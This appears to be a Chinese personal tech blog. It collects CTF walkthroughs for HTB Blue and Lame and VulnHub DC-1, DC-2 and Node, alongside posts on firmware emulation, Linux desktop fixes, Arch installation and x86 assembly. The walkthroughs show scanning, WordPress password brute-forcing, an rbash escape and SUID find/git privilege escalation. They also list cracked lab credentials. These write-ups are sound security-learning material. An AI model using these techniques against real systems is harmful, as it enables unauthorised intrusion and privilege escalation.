nekoside

Blue Walkthrough

Thu, 24 Sep 2026 00:00:00 GMT

Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

HTB
OS: Windows
难度：Easy
Writeup：已解锁

/etc/host 别名：htb

由于 HTB 连接问题，需要将 tun0 的 MTU 降低到 1200：

1
sudo ip link set dev tun0 mtu 1200

永恒之蓝（Eternal Blue）由 NSA 开发，利用 Windows 的 SMB（445/TCP）RCE 漏洞 CVE-2017-0144¹（MS17-010）。

后来的勒索软件 WannaCry 就是利用了永恒之蓝²。

分析#

侦察（Recon）#

1
nmap -n -Pn -T4 -O htb

1
smb -L htb -N

User Flag#

使用 OpenVPN 连接 HTB 的话，LHOST 要设置为 tun0：

注意到 User Flag：

Root Flag#

References#

Footnotes#

Lame Walkthrough

Thu, 24 Sep 2026 00:00:00 GMT

Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

HTB
难度：Easy
OS: Linux
writeup：已解锁

Lame is an easy Linux machine, requiring only one exploit to obtain root access.¹

分析#

侦察#

1
nmap -A htb

FTP: 21/TCP, vsftpd 2.3.4
SSH: 22/TCP, OpenSSH 4.7p1
OS: Linux
SMB: 445/TCP, Samba smbd 3.0.20-Debian

注意到 vsftpd 2.3.4 存在后门：

vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.²

Samba 3.0.20 存在 RCE 漏洞：

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.³

User Flag#

1
msfconsole -q

发现 vsftpd 的后门没法利用，试试 Samba 的 RCE：

1
search samba 3.0.20

1
python -c "import pty; pty.spawn('/bin/bash')"

注意到 user flag：

Root Flag#

root flag：

后记#

虽然成功得到了两个 flag，但是最开始的 vsftpd 利用失败了。

1
netstat -ntpl

注意到有很多端口监听 0.0.0.0，但是外部只扫描到 4 个端口：

推测有防火墙，验证：

因此即便触发后门，6200 端口也无法连接。

References#

0xdf - HTB: Lame

Footnotes#

DC-2 Writeup

Wed, 23 Sep 2026 00:00:00 GMT

Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

跟 DC-1 一样，DC-2 也有 5 个 flag¹。

注意到作者强调：

Please note that you will need to set the hosts file on your pentesting device to something like:
192.168.0.145 dc-2
Obviously, replace 192.168.0.145 with the actual IP address of DC-2.
It will make life a whole lot simpler (and a certain CMS may not work without it).

所以我们要先暂时修改 Kali 的 hosts：

1
echo '192.168.78.143 dc-2' | sudo tee /etc/hosts

分析#

侦察#

nmap 扫描得知：

OS: Debian
Kernel: Linux 3.2 - 4.14
Web Server: Apache httpd 2.4.10
CMS: WordPress 4.7.10
开放端口：tcp 80, 7744 (SSH)

看样子要先从 Web 服务下手。

flag1#

注意到这个网站使用的是 WordPress（只要你的视力没有问题）：

第一个 flag 就在首页：

1
Flag
2

3
Flag 1:
4

5
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
6

7
More passwords is always better, but sometimes you just can’t win them all.
8

9
Log in as one to see the next flag.
10

11
If you can’t find it, log in as another.

flag2#

注意到 flag1 提到了 cewl，也许你不认识这个单词，因为这不是个单词…（这里的 cewl 双关了 “cool”）

CeWL^kali 是个自定义字典生成工具：

digininja

CeWL

CeWL is a Custom Word List Generator

—

no-license

Ruby

这里明确说普通的字典不好使，所以要我们用 CeWL 制作一个字典来用。

注意到在这个页面上，我们没有找到任何登录入口。

目录扫描得到：

发现了登录界面：

http://dc-2/wp-login.php

使用 WPScan^kali 扫描得到三个有效用户：

接下来制作字典，

1
echo "admin
2
tom
3
jerry" > user.txt

CeWL 可以根据网站内容制作对应的字典²：

1
cewl http://dc-2/ -w password.txt

通过：

1
wpscan --url http://dc-2/ --usernames user.txt --passwords password.txt threads 20

得到：

tom -> parturient
jerry -> adipiscing

登录后注意到 flag2：

flag3#

注意到我们可以用 tom - parturient 通过 7744 端口登录到其服务器：

查看 /home/tom/usr/bin 得知可以使用：

less
ls
scp
vi

查看 flag3.txt：

1
vi flag3.txt

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
2
flag3.txt (END)

flag4#

根据 flag3，我们需要用 su。

配置别名：

1
alias c="printf '\e[H\e[2J\e[3J'"
2
alias l='ls --color'
3
alias ll='ls --color -lh'
4
alias la='ls --color -A'
5
alias lla='ls --color -lhA'

查看其他用户：

1
less /etc/passwd

通过 vi 逃逸 rbash³：

1
vi -c ':set shell=/bin/bash | shell'

flag4 提示我们找 git。

flag5#

切换到 jerry 账号：

1
su - jerry

密码为之前的：adipiscing

通过 git 提权到 root：⁴

1
sudo git branch --help

再通过 less 执行：

1
!/bin/bash

得到最终 flag：

References#

Raj Chandel’s Blog - DC-2 Walkthrough

Footnotes#

Node Writeup

Wed, 23 Sep 2026 00:00:00 GMT

Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

VulnHub: VulnHub
Author: Rob

一共两个 flag：¹

user
root

分析#

侦察#

端口：

22 SSH
3000 HTTP

user flag#

注意到 URL：

http://192.168.74.131:3000/api/users

1
[
2
  {
3
    "_id": "59a7365b98aa325cc03ee51c",
4
    "username": "myP14ceAdm1nAcc0uNT",
5
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
6
    "is_admin": true
7
  },
8
  {
9
    "_id": "59a7368398aa325cc03ee51d",
10
    "username": "tom",
11
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
12
    "is_admin": false
13
  },
14
  {
15
    "_id": "59a7368e98aa325cc03ee51e",
16
    "username": "mark",
17
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
18
    "is_admin": false
19
  },
20
  {
21
    "_id": "59aa9781cced6f1d1490fce9",
22
    "username": "rastating",
23
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
24
    "is_admin": false
25
  }
26
]

展开收起

密码长度 64 字符，猜测为 SHA-256。

通过 cmd5 将 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af 解密为 manchester，

得到管理员信息：

账号：myP14ceAdm1nAcc0uNT
密码：manchester

登录后可以下载一个备份文件：

这个文件没有魔数，不像常见的二进制程序。

Unicode 编码下有：

大写字母
小写字母
数字
/
+

一眼 Base64，解码：

1
base64 -d myplace.backup > backup

是一个加密的 zip 压缩包。

刚刚的密码不对，尝试破解压缩包密码：

密码为 magicword，解压后进入备份目录。

在 app.js 中找到关键信息：

用户名：mark
密码：5AYRft73VtFpc84k

root flag#

连接 ssh 后注意到 mark 不在 sudoers。

查看机器版本后找到对应 LPE（本地权限提升）漏洞：

使用 scp 将 exp 复制到 /tmp 下：

提权：

进入 /root：

References#

Footnotes#

VulnHub - Node ↩

DC-1 Writeup

Tue, 22 Sep 2026 00:00:00 GMT

Warning

仅供安全学习，环境均为本地虚拟机或 CTF 靶场。请勿用于未授权目标。

介绍#

Vulnhub

根据作者的介绍，这个靶机一共有五个 flag¹。

目标是 root shell。

分析#

nmap 扫描得知：

OS: Debian
Kernel: Linux 3.2 - 3.6
Web Server: Apache httpd 2.2.22
CMS: Drupal 7
开放的 TCP 端口：22, 80, 111

通过 CVE-2018-7600，使用 msfconsole 拿到 www-data 的 shell：

flag 1#

第一个 flag 让我们去找 Drupal 的配置文件：

flag 2#

注意到 /var/www/sites/default 下的 settings.php：

我们可以得到 Drupal 数据库的一个用户名和密码。

flag 3#

进入数据库后，注意到 flag3：

但是乍一看好像没给任何信息？

注意到这个 flag3 对应的 uid 为 1，在 users 表中确认到：

username: admin
uid: 1
对应的密码哈希 $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

尝试注册一个新用户再通过 SQL 替换密码哈希，结果注册用户要求管理员通过且注册时不能填写密码。所以得找找其他办法。

注意到这个计算密码哈希的脚本：

1
www-data@DC-1:/var/www/scripts$ ls password-hash.sh
2
password-hash.sh
3
www-data@DC-1:/var/www/scripts$

执行后提示我们：

1
To run this script without the --root argument invoke it from the root directory
2
of your Drupal installation as
3

4
  ./scripts/password-hash.sh

按照指示运行：

1
www-data@DC-1:/var/www$ ./scripts/password-hash.sh 123
2

3
password: 123           hash: $S$DhnR5dwKRomrHLQBklwV4Xb/JjiQIy2NUKwZqhOw5gbQp692NFDn
4

5
www-data@DC-1:/var/www$

得到 123 的哈希 $S$DhnR5dwKRomrHLQBklwV4Xb/JjiQIy2NUKwZqhOw5gbQp692NFDn

替换 admin 密码：

登录后成功在文章列表中找到 flag3：

flag 4#

根据 flag3 的内容：

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

这里有个双关：shadow 既指“阴影”，又指 /etc/shadow，同时指引我们使用 -exec 选项。

Q：但是什么命令有 -exec 选项呢？

A：注意到我们常用的命令中，find 带有 -exec 选项。

find -exec 确实可以用于执行其他程序，但是通常情况 find 的权限是 755：

检查 DC-1 的 find：

天哪竟然是 SUID，看来是作者故意改的，说明就该用这个。

先看看 /etc/shadow：

发现了 flag4 用户及其家目录，于是：

flag 5#

flag4 的内容明示我们找 /root，众所周知普通用户无权进入 /root，作者也没给后门，所以…

通过 SUID 的 find 提权到 root：²

References#

Footnotes#

修复 XWayland 下的 Fcitx5 输入法

Thu, 17 Sep 2026 00:00:00 GMT

太长不看#

QQ#

1
linuxqq --ozone-platform=wayland --enable-wayland-ime

Obsidian#

1
obsidian --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime

背景#

截至 2026 年 9 月，KDE、GNOME 等一众 DE 都切换到了 Wayland。而许多软件都没有适配 Wayland，因此这些软件需要借助 XWayland 运行。

但是 XWayland 下，Fcitx5 会无法使用。

解决方案#

Note

使用 xorg-xeyes 包提供的 xeyes 来判断当前启用的是 X11 / XWayland 还是原生 Wayland。

Chromium / Electron#

1
--ozone-platform-hint=auto --enable-wayland-ime

你也可以用 --ozone-platform=wayland 强制指定 Wayland。

其中 --ozone-platform-hint 是 Chromium 系特有的 Flag，可以用于切换到 Wayland 后端。

Note

可以使用 xeyes^extra 判断应用当前是 Wayland 还是 XWayland

如果不行可以追加这个参数

1
--wayland-text-input-version=3

如果使用终端启动遇到一些带 GPU 字眼的 ERROR，可以追加这个参数禁用 GPU 加速

1
--disable-gpu-compositing

或者你发现使用上面的 wayland 参数启动后启动变慢，也可以加上试试，因为这些 ERROR 会增加启动时间。

拿 linuxqq^aur 举例，

添加参数：

默认情况下发送到桌面的 .desktop 来自软件包，位于 /usr/share/applications。

编辑后的 .desktop 位于 ~/.local/share/applications 下，所以你需要重新发送到桌面。

1
Exec=linuxqq --ozone-platform=wayland --enable-wayland-ime %U

其他支持 Wayland 后端的应用#

Godot#

在 Godot 编辑器设置中勾选“高级设置”（右上角开关），随后在“运行” -> “平台”中勾选“首选 Wayland”后重启 Godot 即可。

普通 X11 应用#

以 WPS 为例：

在 KDE 菜单编辑器中为所有 WPS 菜单项添加环境变量：

QT_IM_MODULE=fcitx

这会在 ~/.local/share/applications 重新生成新的 .desktop 文件（同时不会影响其他软件）。

已经发送到桌面的需要重新发送一次，否则使用的还是 /usr/share/applications 的 .desktop。

由于 ~/.local/share/applications 的搜索优先级高于 /usr/share/applications，通过 XDG 关联的文件直接打开也应当能工作。

去掉新建快捷方式的后缀

Fri, 04 Sep 2026 00:00:00 GMT

环境#

Windows 11 IoT 企业版 LTSC 24H2

方案#

Warning

已知问题：

该方案会导致“发送到桌面快捷方式”错误地发送原文件而非快捷方式（.lnk）

定位到注册表：HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer

创建项：NamingTemplates

该项的有效键值对：

RenameNameTemplate¹
CopyNameTemplate² 复制后文件的名称
ShortcutNameTemplate 新建的快捷方式名称，这才是我们要找的

键类型：REG_SZ（字符串值）

键值中，可以使用 %s 表示原始文件名称

（新建并）修改 ShortcutNameTemplate 的值为 %s 即可去除新快捷方式的文字后缀。

Note

该修改无需重启，会立即生效

Note

网传的另一种方案：修改键 link 的值为全零，经过测试这种方案在重启后会被系统自动覆写。

References#

Footnotes#

路由器固件漏洞分析

Fri, 04 Sep 2026 00:00:00 GMT

环境搭建#

固件提取#

UBI

ubireader_extract_images

squashfs 的魔数为：68 73 71 73 (小端序：0x73717368)¹²

unblob#

unblob 是更现代的固件提取工具。

安装：³

1
sudo apt install unblob

安装其依赖的外部提取工具：³

1
sudo apt install android-sdk-libsparse-utils e2fsprogs p7zip-full\
2
 unar zlib1g-dev liblzo2-dev lzop lziprecover libhyperscan-dev zstd lz4 sasquatch

使用该命令验证所有依赖是否满足：³

1
unblob --show-external-dependencies

提取固件：³

1
unblob <xxx.bin>

binwalk#

binwalk^kali (binwalk2) 或 binwalk3^kali

查看：

1
binwalk3 xxx.bin

提取：

1
binwalk3 -Me xxx.bin

得到 squashfs

仿真#

用户态仿真#

由于路由器往往使用 MIPS 或 ARM 架构，直接 chroot 会出现问题。

安装 qemu-user 包后可以直接 chroot

1
sudo apt install qemu-user

1
sudo chroot ./ ./bin/sh

Note

挂载前检查一下 ./bin/sh 有没有执行权限位

全系统仿真#

全系统仿真无需手动挂载文件系统。

FirmAE#

FirmAE 本质是 QEMU 全系统仿真，但是替我们做了很多工作。

更换静态 busybox（FirmAE 会用系统的静态 busybox 替换进仿真环境）

1
sudo apt install busybox-static

1
git clone --recursive https://github.com/pr0v3rbs/FirmAE.git
2
cd FirmAE
3
sudo ./download.sh

1
sudo ./install.sh

安装时可能遇到：Error: Package 'uml-utilities' has no installation candidate，是因为 uml-utilities 包已经被移出 Kali 仓库，

需要另行手动安装该包，否则后面网络模拟会卡住：（FirmAE 用到该包的 tunctl）

1
# 安装
2
从 Debian 仓库拉取 deb 包后手动安装
3

4
# 验证
5
apt list --installed | grep uml

1
sudo ./init.sh

检查：

1
sudo ./run.sh -c <名字> <固件文件>
2
# 检查过程中日志在 ./scratch/1 下，模拟仿真性能损耗大，时间会比较长

如果检查通过，则可以运行仿真：

1
sudo ./run.sh -r <名字> <固件文件>

每次运行后都会挂载 loop 设备，会导致后续重新仿真失败，需要清除之前的挂载：

1
lsblk
2
sudo umount <挂载点>
3
sudo losetup -d <设备>

FAT#

FAT 是另一个 IoT 仿真工具。

`qemu-system`#

手动 qemu 整机模拟，比较复杂，需要处理很多工作。

NVRAM#

Web 服务通常会读写 /proc/nvram 或 /dev/nvram，如果没有挂载或对应文件不存在，会导致无法正常启动 Web 服务。

1
mount -t proc proc /proc
2
mount -t ramfs ramfs /var
3
/etc/init.d/S19init.sh
4
/etc/init.d/S20init.sh

FirmAE 会替我们处理好 NVRAM，但是用户态仿真需要手动处理。

其他常见方式：

touch /proc/nvram

漏洞挖掘#

Web Server#

uhttpd OpenWRT 的默认 Web Server 文档仓库
thttpd 仓库
jhttpd 仓库

CGI#

CGI (Common Gateway Interface) 是一种能让 Web 服务器执行外部程序来处理 HTTP(S) 请求的接口标准。⁴

在路由器的漏洞挖掘中，我们经常会看到 CGI 关键词

逆向工程#

内存映射

F5 反汇编

使用 IDA 打开后会生成如下文件：

.id0 主数据库文件
.id1 数据库文件
.id2 数据库文件
.nam 命名列表
.til 类型信息库

导入后左侧的 sub_xxx 函数是因为 IDA 没有识别到原来的名字

所有紫色背景的函数均为 .extern 动态链接的。

加粗代表该函数有函数原型，例如标准库的 sprintf, snprintf

按下 X 查看所有 Xref (Cross Reference 交叉引用)：

Xrefs To -> 谁引用了我
Xrefs From -> 我引用了谁

汇编#

由于逆向工程通常使用 Intel 语法，这里统一使用 Intel 语法。

这里只列举 IoT 常见的架构

MIPS 汇编

2026-08-29#MIPS#汇编

References#

Footnotes#

解决 Linux 下 Chromium 系浏览器不能用中键滚动

Sun, 30 Aug 2026 00:00:00 GMT

背景#

Linux 下 Chromium 系浏览器默认不能用中键滚动，而 Firefox 可以。

解决方案#

Note

为了避免使用中键时不小心粘贴（如在 claude.ai 中使用中键滚动总是会触发粘贴操作），你可能还需要禁用中键粘贴。

启用中键滚动#

普通 Chromium 系浏览器#

1
--enable-blink-features=MiddleClickAutoscroll --test-type

Note

1
--test-type

用于关闭烦人的警告

Brave / Brave Origin#

启用：

brave://flags/#middle-button-autoscroll

Helium#

启用

helium://flags/#middle-click-autoscroll

Note

或使用 HeliumMiddleClickAutoscroll 而非 MiddleClickAutoscroll

禁用中键粘贴#

KDE#

系统设置 -> 工作区 -> 常规行为 -> 取消选择“中键点击：粘贴选中的文本”，后重新启动计算机。

如何为 VMWare 禁用 Hyper-V

Thu, 20 Aug 2026 00:00:00 GMT

前言#

要验证当前 Hyper-V 是否启用，有两个方法

VMWare#

这是最直接，也是我们最关心的方法，在虚拟机的 “Settings” -> “Options” -> “Advanced” -> “Settings” 中，如果出现一个关于“侧通道缓解”的选项，证明当前 VMWare 和 Hyper-V 共存。

`msinfo32`#

Win + R 运行 msinfo32，滑到最下面，如果出现:“已检测到虚拟机监控程序…”，证明当前 Hyper-V 正在运行；

如果是若干个“Hyper-V - xxxx 是”的条目，则证明没有启用。

禁用 Hyper-V#

1. 禁用内存完整性#

在“Windows 安全中心” -> “设备安全性” -> “内核隔离”中禁用“内存完整性”（需要重启生效，等会一并重启即可）

2. 禁用 Credential Guard#

两种方式二选一，如果你的系统支持组策略，建议优先通过组策略修改。

组策略#

Win + R 运行 gpedit.msc 或直接打开本地组策略，在“本地计算机策略” -> “计算机配置” -> “管理模板” -> “系统” -> “Device Guard” 中将“打开基于虚拟化的安全”策略设置为“已禁用”。

注册表#

如果你的系统不支持本地组策略，可以直接编辑注册表对应键。

“如果在未启用 UEFI Lock 且未组策略的情况下启用 Credential Guard，则编辑注册表项即可禁用它。”¹

Warning

“删除这些注册表设置可能不会禁用 Credential Guard。它们必须设置为值 0。”¹

1
密钥路径： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
2
密钥名称： LsaCfgFlags
3
类型： REG_DWORD
4
值： 0

1
密钥路径： HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard
2
密钥名称： LsaCfgFlags
3
类型： REG_DWORD
4
值： 0

3. `bcdedit` 显式关闭#

打开管理员 Powershell 或 cmd，执行：

1
bcdedit /set hypervisorlaunchtype off

4. 启用 CPU 的硬件虚拟化支持#

在 BIOS/UEFI 菜单中，启用对应的 CPU 虚拟化支持

AMD: AMD-V
Intel: VT-x

重启计算机

Note

考虑到你的“关机”可能不是真正的“关机”，请直接选择“重启”

检验#

现在 VMWare 的虚拟机设置中，刚刚的“侧通道缓解”选项应当消失，且 msinfo32 的结果也有所不同。

References#

Footnotes#

Microsoft Learn - 配置 Credential Guard ↩ ↩²

Arch Linux 安装

Wed, 05 Aug 2026 00:00:00 GMT

Warning

由于 Arch Linux 更新频繁，请注意本文的更新时间。

如果你阅读时本文已经过时，请参考下列资源：

太长不看 (TL;DR)#

lsblk
cfdisk
mkfs
mount
pacstrap
- linux 内核
- linux-firmware 包含很多驱动，例如小螃蟹、Intel 无线网卡驱动
- networkmanager 网络前端，提供 nmcli 和 nmtui
arch-chroot
grub-install
grub-mkconfig
genfstab
按需安装如 plasma-meta, nvidia-open

也许下面的内容全都是废话（如果你能熟练地安装 ArchLinux）。倘若真的需要帮助，我大概率会看 ArchWiki 或者用 Duckduckgo 搜索我的问题。

这篇文章产生的原因是我多次在安装完成后忘记修改 root 密码，或是忘记安装 linux-firmware，又或是没有更新 /etc/fstab，所以写了上面的“TL;DR”给自己看。

但是只写这些可能无法帮助到正在阅读的你，索性我就写了较为详细的安装过程。

介绍#

众所周知，Arch Linux¹ 是最激进的 Linux 发行版之一，其收录的软件包又多又新。

以 pfetch-rs 为例，隐藏掉 OpenBSD、FreeBSD、Homebrew 和第三方仓库后，可以看到只有 Arch Linux、Void Linux 和 Alpine 收录了该包。

叠甲

只是随便拿一个比较小众的开源工具举例子，非引战目的，也不是精心设计。

然而由于其滚动更新的特点，相比 Debian、CentOS 等发行版，Arch Linux 也更加不稳定。

因此你几乎看不到有服务器使用 Arch Linux。

Note

Arch Linux 自己的服务器确实使用 Arch Linux。

详细过程#

Note

如果硬盘空间太小，会导致 pacman -F 崩溃，原因是 pacman -F 会使用 /tmp，而 /tmp 在 ArchISO 默认使用内存。

网络#

Arch Linux 的安装需要网络，所以安装的第一步是联网。

如果你使用虚拟机，也许不需要任何配置，检查：

1
ip a

有线网络#

无线网络#

ArchISO 内置了 iwd 包，所以我们可以使用 iwctl 连接无线网络。

解除对无线网卡的锁定：

1
rfkill list

1
rfkill unblock <无线网卡编号>

进入 iwctl：

1
iwctl

列出无线网卡：

1
device list

扫描无线网络：

分区#

加密#

内核 (Kernel)#

当然你也可以自己编译内核（

Arch 官方内核#

1
pacman -S linux

LTS 内核#

1
pacman -S linux-lts

CachyOS 内核#

Boot Loader#

本文假定你是 UEFI 引导方式。

GRUB#

安装 GRUB：

1
pacman -S grub efibootmgr

1
grub-install --bootloader-id GRUB --target x86_64-efi --efi-directory /boot/efi

如果你需要多系统引导：

1
pacman -S os-prober

编辑 /etc/default/grub，找到 #GRUB_DISABLE_OS_PROBER=false，去掉注释。

更新 GRUB 引导条目：

1
grub-mkconfig -o /boot/grub/grub.cfg

systemd-boot#

ArchWiki

如果你在找一个比 GRUB 更轻量、更 KISS 的 BL，可以看看 systemd-boot。

Display Manager / Login Manager#

SDDM#

PLM (Plasma Login Manager)#

GDM#

LightDM#

驱动程序#

网卡#

常见的无线网卡驱动程序包含在 linux-firmware 元包中。

如果你希望单独安装：

联发科 linux-firmware-mediatek
瑞昱 linux-firmware-realtek

显卡#

AMD#

AMD 显卡驱动 amdgpu 包含在内核树中，无需单独安装。

安装 Vulkan 驱动：vulkan-radeon（不装的话 Zed 等应用无法使用 A 卡的 Vulkan，可能回退到独显）

Intel#

安装 Vulkan 驱动：vulkan-intel

NVIDIA#

NVIDIA 开源显卡驱动 nouveau 也包含在内核树中。如果你需要更好的性能和兼容，可以安装 NVIDIA 私有驱动 nvidia-open。

nvidia-open 会自动拉取 nvidia-utils，后者包含了 Vulkan 实现，所以只需要安装一个 nvidia-open 包既可。

桌面环境 (Desktop Environment)#

KDE Plasma#

plasma
plasma-desktop
plasma-meta

配置#

dotfiles#

个人推荐使用 chezmoi 管理 dotfiles：

twpayne

chezmoi

Manage your dotfiles across multiple diverse machines, securely.

—

MIT

References#

Footnotes#

Arch Linux ↩

x86 与 x64 汇编入门

Thu, 16 Jul 2026 00:00:00 GMT

介绍#

概念#

x86 是一种 CPU 指令集架构（ISA），定义了一套指令集（Instruction Set）。¹

x86 汇编是这套指令集的指令的人类可读表示。一条汇编语句通常对应一条机器码。²

语法#

类别#

x86 汇编语法通常有两种：

AT&T
Intel

Note

本文使用 AT&T 语法

我们的 CPU 只关心机器码，但是不同的汇编器仅支持特定的语法（类似 Assembler 和 Compiler 的关系）。

常见的三种汇编器：

GNU Assembler (GAS) as -> AT&T 语法
- scoop: gcc
Netwide Assembler (NASM) -> Intel 语法
- scoop: nasm
Microsoft Macro Assembler (MASM) -> Intel 语法

语法不能够混用，例如使用 NASM 去汇编一个 AT&T 语法的汇编文件会遇到诸如“error: instruction expected”的报错。

特点#

换行严格（毕竟没有分号之类的东西），一行就是一条语句
空格、缩进宽松。有没有都可以；用哪个都可以

结构#

将

test.c

1
int main() {
2
    return 0
3
}

使用 gcc -S -O0 -fno-asynchronous-unwind-tables -fno-ident 编译可得如下汇编代码：

test.s

1
  .file  "test.c"
2
  .text
3
  .globl  main
4
  .type  main, @function
5
main:
6
  pushq  %rbp
7
  movq  %rsp, %rbp
8
  movl  $0, %eax
9
  popq  %rbp
10
  ret
11
  .size  main, .-main
12
  .section  .note.GNU-stack,"",@progbits

删除其中的无用信息得到：

test.s

1
  .globl  main
2
main:
3
  movl  $0, %eax
4
  ret

观察上述汇编代码，可以发现有三种语句：

指令：movl $0, %eax, ret 等，其中 movl, ret 称为指令助记符 (Instruction Mnemonic) 或助记符。
伪指令 (directive)：.file, .text, .size，以 . 开头。
标签：main:，对应 C 的 goto。

以及：

立即数：$0
寄存器：%eax，%rbp 等

将精简后的代码进行汇编：

as test.s -o test.o

可得到对应目标文件

file test.o
test.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Note

不涉及物理地址的低级代码称为可重定位的 (relocatable)。³⁴⁵

汇编得到的目标文件无法执行，还需要进行链接：

gcc test.o -o test

但由于程序真正的入口点是 _start，上述操作本质上 gcc 帮我们封装了一层，用 _start 调用我们写的 main。

下面绕过 C 标准库，将 main 改写为 _start：

test.s

1
  .globl  _start
2
_start:
3
  movl  $60, %eax # 指定操作为退出
4
  movl  $0, %edi # 指定退出码为 0
5
  syscall

Note

注释：

AT&T -> #
Intel -> ;
部分汇编器支持 C 风格注释 -> //

ld test.o -o test

执行：

./test

指令#

x86 汇编基础的助记符有几十个。

在 AT&T 中，助记符的后缀：

q 代表 64 位，如 movq
l 代表 32 位，如 movl

具体如下：

后缀	全称	宽度/字节
b	byte	8
w	word	16
l	long	32
q	quad	64

AT&T 中，指令的操作数顺序：OP src, dest

例如：movl $0, %eax 将 0 放入 eax 寄存器

其中，$0 和 %eax 分别为这条指令的两个操作数。

操作数又可以分为：

直接操作数
- 立即数
如 $0
- 寄存器操作数
如 %eax
间接操作数

如 (%rbx)

数据传送#

`mov`#

算数#

`add`#

`mul`#

堆栈#

`push`#

`pop`#

其他指令#

`lea`#

lea 返回间接操作数的地址。⁴²⁴⁸

伪指令#

默认情况下，伪指令不区分大小写。⁴⁴⁵

`.file`#

文件元信息

`.globl`#

`.type`#

类型标注，告诉编译工具这个符号是什么类型，如 .type main, @function 描述 main 为一个函数。

只是描述性信息，多数情况下可以删除。

`.size`#

大小标注

`.ident`#

编译器版本标注

寄存器 #

通用目的寄存器#

General-Purpose Registers (GPRs)

Note

rax 是完整的 64 位寄存器，eax 是其低 32 位寄存器，ax 是其低 16 位寄存器，

ah 是其 8-15 位寄存器，al 是其低 8 位寄存器。

后面不再赘述。

rax
rbx
rbp -> 基址指针 (Base Pointer)
rsp -> 栈指针 (Stack Pointer)
rdi -> (Destination Index)

其他寄存器#

rip -> 指令指针 (Instruction Pointer)，即程序计数器 PC

段#

段声明表示从下面的内容开始，一直到下一个段声明，中间的内容都归入该段。

.section 用于声明段，例如：

.section .text 声明一个代码段，通常简写为 .text。

代码段#

在 AT&T 中代码段为 .text，在 Intel 风格中为 .code。

只读数据段#

.rodata，最常见的用途为字符串常量存储。

未初始化数据段#

通常用 .bss 表示。

Note

起始于 IBM 704 汇编中“块存储开始 (Block Storage Start)”首字母缩写。⁵⁴⁶⁸

约定#

返回值#

Note

程序真正的入口是 _start 而非 main：

_start 调用 main
main 将返回值 0 写入 %eax
main ret 返回
_start 从 %eax 拿到返回值

整数、指针 -> %rax

参数#

⁶²⁶

第一个参数 -> %rdi
第二个参数 -> %rsi
第三个参数 -> %rdx
第四个参数 -> %rcx
第五个参数 -> %r8
第六个参数 -> %r9

编写程序#

系统调用#

系统调用是内核提供的接口，我们可以通过汇编直接调用系统调用而不经过任何高级封装。

在 x86 下，系统调用由 0x80 中断完成，各个通用寄存器用于传递参数，EAX 寄存器用于表示系统调用的接口号。⁷³⁸⁵

现代的 x64 架构提供了专门的系统调用指令，分别用于从用户态到内核态、从内核态返回用户态，以下是支持情况：

指令	AMD Legacy	AMD Compat	AMD 64位	Intel Legacy	Intel Compat	Intel 64位
`syscall`⁸¹⁷⁴⁹⁶⁹⁸	✅	✅	✅	❌	❌	✅
`sysret`⁸¹⁷⁴⁹⁷⁰⁸	✅	✅	✅	❌	❌	✅
`sysenter`⁸¹⁷⁶⁹⁷⁰¹	✅	❌ (#UD)	❌ (#UD)	✅	✅	✅
`sysexit`⁸¹⁷⁶⁹⁷⁰⁵	✅	❌ (#UD)	❌ (#UD)	✅	✅	✅

以 Linux 7.1 为例，系统调用号写在 arch/x86/entry/syscalls/syscall_64.tbl 中，具体的函数原型在各自的内核源码中。

编写汇编时要查看系统调用的参数等信息，可以查阅该网站。

Note

要在 C/C++ 中调用系统调用，可以包含头文件 unistd.h

要查阅系统调用信息，可以直接查看 man 手册：man 2 read

目前有五百多个，这里列出几个常见的：

系统调用号	系统调用
0	read
1	write
2	open
3	close
57	fork
60	exit

调用一个系统调用：

1
    movq    $系统调用号, %rax
2
    movq    $第一个参数, %rdi
3
    movq    $第二个参数, %rsi
4
    ...
5
    syscall

Hello World#

1
    .section    .rodata
2
.LC0:
3
    .ascii    "Hello World!\n"
4
len = . - .LC0
5
    .text
6
    .globl    _start
7
_start:
8
    movq    $1, %rax # write
9
    movq    $1, %rdi # 文件描述符 fd
10
    leaq    .LC0(%rip), %rsi # buffer
11
    movq    $len, %rdx # count
12
    syscall
13

14
    movq    $60, %rax # exit
15
    movq    $0, %rdi # exit code
16
    syscall

展开收起

反汇编#

十六进制#

对于程序：

1
    .globl _start
2
_start:
3
    movl    $60, %eax
4
    movl    $0, %edi
5
    syscall

编译后要查看其十六进制形式，有如下工具：

xxd -> vim 包提供
hexdump -> util-linux 包提供
od -> Unix，coreutils 包提供
hexyl -> 现代工具，需要从 ArchLinux 官方仓库安装

汇编#

要查看其汇编码，需要进行反汇编。

objdump#

objdump -d test

输出：

1
test：     文件格式 elf64-x86-64
2

3

4
Disassembly of section .text:
5

6
0000000000401000 <_start>:
7
  401000:  b8 3c 00 00 00         mov    $0x3c,%eax
8
